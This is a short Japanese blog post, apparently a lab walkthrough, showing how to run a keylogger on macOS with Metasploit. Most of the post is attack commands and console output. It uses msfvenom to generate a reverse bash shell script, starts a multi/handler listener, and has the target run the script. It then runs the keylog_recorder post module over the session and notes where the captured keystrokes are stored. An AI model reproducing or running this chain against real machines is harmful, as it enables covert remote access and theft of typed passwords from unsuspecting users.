Mac でキーロガー

• 概要
• 環境
• 起動
• リバースシェル用スクリプト作成
• Mac 側待ち受け
• リバースシェル実行
• キーロガー post の実行
• 最後に
• 参考サイト

概要

Metasploit を使って Mac でキーロガーを試してみました

環境

• macOS 11.7.10
• Metasploit 6.3.60

起動

• bundle exec msfconsole

リバースシェル用スクリプト作成

• bundle exec msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.2 -f raw -o /path/to/test.sh

Mac 側待ち受け

-j を付与してバックグランドセッションにします

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit -j 

[*] Started reverse TCP handler on 192.168.1.2:4444

リバースシェル実行

キーロガーをされる側に生成した

test.sh

を配置して実行しましょう
テストのため同一ホストでも OK です

• chmod +x /path/to/test.sh
• ./path/to/test.sh

キーロガー post の実行

先ほどバックグラウンドで接続したセッションを使って post/osx/capture/keylog_recorder を実行します

msf6 post(osx/capture/keylog_recorder) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  5         shell cmd/unix               192.168.1.2:4444 -> 192.168.1.2:61502 (192.168.1.2)

msf6 post(osx/capture/keylog_recorder) > use post/osx/capture/keylog_recorder
msf6 post(osx/capture/keylog_recorder) > set SESSION 5
SESSION => 5
msf6 post(osx/capture/keylog_recorder) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix. This module works with: OSX.
[*] Executing ruby command to start keylogger process.
[*] Ruby process executing with pid 13679
[*] Entering read loop
[*] Waiting 10 seconds.

ログファイルは /Users/hawk/.msf4/loot/20240314115337_default_192.168.1.2_keylog_742643.txt という感じのファイルで保存されます

最後に

Metaexploit を使って Mac でキーロガーする方法を試してみました
一度セッションを確立したあとで別の post を実行するのがポイントです

ログファイルを見ると ctrl や enter は取得できているようですが普通のキーは cmd という感じで表示されるのでこれが普通のキーで表示する方法が不明でした

参考サイト

• https://null-byte.wonderhowto.com/how-to/hacking-windows-10-capture-keystrokes-passwords-remotely-0183612/
• https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb